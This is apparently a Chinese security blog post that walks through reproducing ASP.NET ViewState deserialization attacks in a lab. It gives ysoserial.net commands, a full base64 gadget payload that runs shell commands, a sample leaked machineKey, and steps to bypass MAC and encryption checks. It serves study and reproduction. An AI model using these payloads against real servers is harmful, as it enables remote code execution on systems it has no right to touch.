ViewState 反序列化
一、引言
这周有朋友问
碰巧自己也没听说过，问了身边的朋友，大概两三年前就出现了，exchange 的 CVE-2020-0688 也是因为 viewstate 的反序列化，成为第一个能直接在 exchange 服务器上执行命令的漏洞。参考外文的介绍自己搭建环境复现了一下，感觉还是挺有趣的，后续也会对 exchange 的 0688 进行复现。
二、什么是 ViewState？
ViewState 基本上由服务器生成，并以隐藏的表单字段 “__VIEWSTATE” 的形式发送给客户端，用于“POST”请求。当 Web 应用程序进行 POST 请求时，客户端将其发送到服务器。ViewState 以序列化数据的形式出现，当客户端再次进行请求(ViewState)被发送到服务器时，将进行反序列化。
ASP.NET 有各种序列化和反序列化库，称为 formatter ，它序列化对象到字节流，反之亦然(反序列化字节流到对象)。如ObjectStateFormatter、LOSFormatter、BinaryFormatter 等。
ASP.NET 使用 LosFormatter 序列化 ViewState，并将其作为隐藏的表单字段发送到客户端。一旦序列化 ViewState 在 POST 请求期间被发送回服务器，它将使用ObjectStateFormatter 进行反序列化。
为了使 ViewState 不受篡改，存在一个启用 ViewState MAC 的选项，通过设置一个值并在反序列化期间对 ViewState 的值进行完整性检查。
Burp 插件安装
Viewstate 的插件在老版本的 bp 里才有，新版 bp 需要手动去下载安装，在 bp 的 BApp Store 里搜索 ViewState Editor 安装即可。
ysoerial.net 工具地址:
https://github.com/pwntester/ysoserial.net
三、复现
1、 Target framework ≤4.0 (ViewState Mac is disabled)
修改注册表
(HKEY_LOCAL_MACHINESOFTWAREMicrosoft.NETFrameworkv4.0.30319)，AspNetEnforceViewStateMac 的值修改为 0
准备前端 hello.aspx，内容如下：
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
<asp:Button ID="Button1" runat="server" OnClick="Button1_Click"
Text="GO" class="btn"/>
<br />
<asp:Label ID="Label1" runat="server"></asp:Label>
</form>
</body>
</html>hello.aspx.cs 内容：
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class hello : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected override void OnInit(EventArgs e)
{
base.OnInit(e);
}
protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = TextArea1.Text.ToString();
}
}访问 hello.aspx 文件发送 post 请求。此时 MAC 验证功能被禁用。
ysoserial 生成 payload
ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo 7bits666 > C:Windowstemptest.txt"
复制生成的 payload，url 编码一次发送到__viewstate 参数即可反序列化命令执行。
2、When ViewState is removed from the HTTP request
有的场景中，post 请求包里并不会带上__viewstate 参数，但是这样并不是安全的。这里继续使用上面一个场景中的前端代码，修改后端代码如下：
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public class BasePage : System.Web.UI.Page
{
protected override void Render(HtmlTextWriter writer)
{
StringBuilder sb = new StringBuilder();
StringWriter sw = new StringWriter(sb);
HtmlTextWriter hWriter = new HtmlTextWriter(sw);
base.Render(hWriter);
string html = sb.ToString();
html = Regex.Replace(html, "<input[^>]*id="(__VIEWSTATE)"[^>]*>", string.Empty, RegexOptions.IgnoreCase);
writer.Write(html);
}
}
public partial class hello : BasePage
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = TextArea1.Text.ToString();
}
}此时抓包发现，post 数据包里并没有带上VIEWSTATE 的参数。
需要做的事，只需要手动添加上VIEWSTATE 参数，payload 如上一个场景中一样传入，同样可以反序列化成功。
3、framework ≤4.0 (ViewState Mac is enabled)
环境
IIS（.net 4.0）
iis 中开启
设置自动生成密钥后应用。在 web 的根目录下生成 web.config。
假设 MAC 已为 ViewState 启用，并且由于本地文件读取、XXE 等漏洞，我们可以访问带有验证密钥和算法等配置的 web.config 文件，如上所示，我们可以使用 ysoserial.net 和通过提供验证密钥和算法作为参数来生成有效负载。
出于演示的目的，我们使用了具有以下代码库的示例应用程序，并假设由于任何文件读取漏洞，攻击者已经访问了 web.config 文件
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" enableEventValidation="false" />
</system.web>
</configuration>注意 web.config 中的 enableViewStateMac="true" //以在 ViewState 中启用 MAC（消息验证码）enableEventValidation="false" //关闭与 ViewState 一起使用的不同加密/验证算法 前端 hello.aspx 文件内容
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
<asp:Button ID="Button1" runat="server" OnClick="Button1_Click"
Text="GO" class="btn"/>
<br />
<asp:Label ID="Label1" runat="server"></asp:Label>
</form>
</body>
</html>hello.aspx.cs 文件内容
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class hello : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected override void OnInit(EventArgs e)
{
base.OnInit(e);
}
protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = TextArea1.Text.ToString();
}
}访问 hello.aspx 文件，
随便发送内容抓取 post 数据包，可以看到 mac enabled 配置内容， ViewState MAC 已启用。
如果我们注意到下面的 POST 请求，可以看到请求中没有“_VIEWSTATEGENERATOR”参数。此时，我们需要将应用程序路径和路径变量作为参数提供给 ysoserial。
但是，如果我们在 HTTP 请求中有 _VIEWSTATEGENERATOR 参数，我们可以直接将其值提供给 ysoserial 以生成有效负载。
ysoserial生成 payload，这里的–path 需要指定一个服务器上存在的文件，同时–apppath 的虚拟目录也需要注意。
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:windowstemptest.txt" --path="/admin.aspx" --apppath="/" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" --isdebug --islegacy
执行结果:
simulateTemplateSourceDirectory returns: /
simulateGetTypeName returns: admin_aspx
Calculated pageHashCode in uint: 1732672259
Calculated __VIEWSTATEGENERATOR (ignored): 67467B03
/wEy3xEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAJi9jIGVjaG8gMTIzID4gYzpcd2luZG93c1x0ZW1wXHRlc3QudHh0BgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgtoJOCD/P8c+Yl+rO9B6VkNhbceOA==增加VIEWSTATEGENERATOR=67467B03 至 POST 请求包中，替换VIEWSTATE=参数为生成的 payload，具体如下。
（需要注意的是，ysoserial 生成的 payload 需要进行一次 url 编码再传给__VIEWSTATE 参数）
成功执行命令。
4、Target framework ≤4.0 (Encryption is enabled for ViewState)
在 .NET 4.5 之前，ASP.NET 可以接受来自用户的未加密**VIEWSTATE 参数，即使 ViewStateEncryptionMode 已设置为 Always。
ASP.NET 仅检查请求中是否存在 **VIEWSTATEENCRYPTED 参数。如果删除此参数，并发送未加密的有效载荷，发序列化依旧会触发。
坑
这里一开始访问的文件名为 1.aspx，同时 ysoserial 生成的 payload 的参数也是使用 1.aspx 作为参数–path 的值，但是这样的方式并不能利用成功，反之修改 1.aspx 的文件名为 admin.aspx 则可以正常触发。
也就是数字的文件名无法触发反序列化链，这个问题的产生仍旧没有解决。
5、framework is ≥.NET 4.5
通过在 web.config 文件中指定以下参数来强制使用 ASP.NET 框架 compatibilityMode="Framework45
与 case4 相同
参考文章
https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
https://notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net
原文始发于微信公众号（7bits安全团队）：DotNet安全-ViewState反序列化利用
